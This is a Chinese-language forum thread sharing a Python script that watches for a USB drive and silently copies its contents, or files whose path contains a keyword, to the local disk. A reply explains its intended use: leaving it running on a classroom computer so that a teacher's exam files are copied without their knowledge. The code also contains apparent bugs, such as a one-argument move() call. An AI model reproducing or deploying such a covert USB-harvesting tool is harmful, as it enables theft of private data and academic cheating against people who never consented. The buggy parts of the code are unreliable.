U盘检测并复制所需的文件
本帖最后由 山野村夫-陈墨 于 2021-7-16 00:01 编辑这两天闲来无事,找了个代码修改修改。
功能:
检测计算机中是否插入U盘,如果插入U盘则将对应的数据复制到计算机中。
代码:
# -*- coding: utf-8 -*-
# @Time : 2021/7/10
# @AuThor : 陈墨
# @Software: PyCharm
# @function: 读取U盘的数据
from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():
for item in disk_partitions():
if item.opts == "rw,removable": # 可读、可移动介质
logger.info("发现USB:%s" % str(item))
return item.device
logger.info("没有发现USB")
return None
# 读取想要的文件u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
if select is None:# 无筛选规则,复制所有
copytree(src, dst)
logger.info("复制%s盘USB所有内容到%s" % (src, dst))
else: # 复制部分
paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
for item in paths:
item = os.path.join(path, item)
if select in item:
if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
try:
copytree(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
try:
rmtree(os.path.join(dst, item))
except:
continue
copytree(os.path.join(src, item), os.path.join(dst, item))
else:
try:
copyfile(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
os.makedirs(os.path.dirname(os.path.join(dst, item)))
try:
move(os.path.join(dst, item))
except:
continue
copyfile(os.path.join(src, item), os.path.join(dst, item))
logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
else:
if os.path.isdir(os.path.join(src, item)):
get_useb_file(src, item, select, dst)
if __name__ == "__main__":
while True:
path = get_usb_dispart()
if path is not None:
get_useb_file(src=path, select="测试", dst=r"F:\usb")
break
sleep(1)
liyouqi520 发表于 2021-7-16 00:36
干什么用的?
比如老师上课前,把程序在教室电脑里面运行起来,老师插入U盘的就可以把考试相关内容拷贝下来。
python 3.10 run时报错:
Python 3.10.0 (tags/v3.10.0:b494f59, Oct4 2021, 19:00:18) on win32
Type "help", "copyright", "credits" or "license()" for more information.
=============================== RESTART: E:\1.py ===============================
Traceback (most recent call last):
File "E:\1.py", line 10, in <module>
from psutil import disk_partitions
ModuleNotFoundError: No module named 'psutil'
学习学习 干什么用的? 不明觉厉,马克一下 评分支持,感谢作者 很实用呀,非常感谢! 腻害了,省得每次都要手动拖 测试一下,看看拷贝过程中有啥提示没。 测试下怎么复制对应的数据,谢谢楼主分享!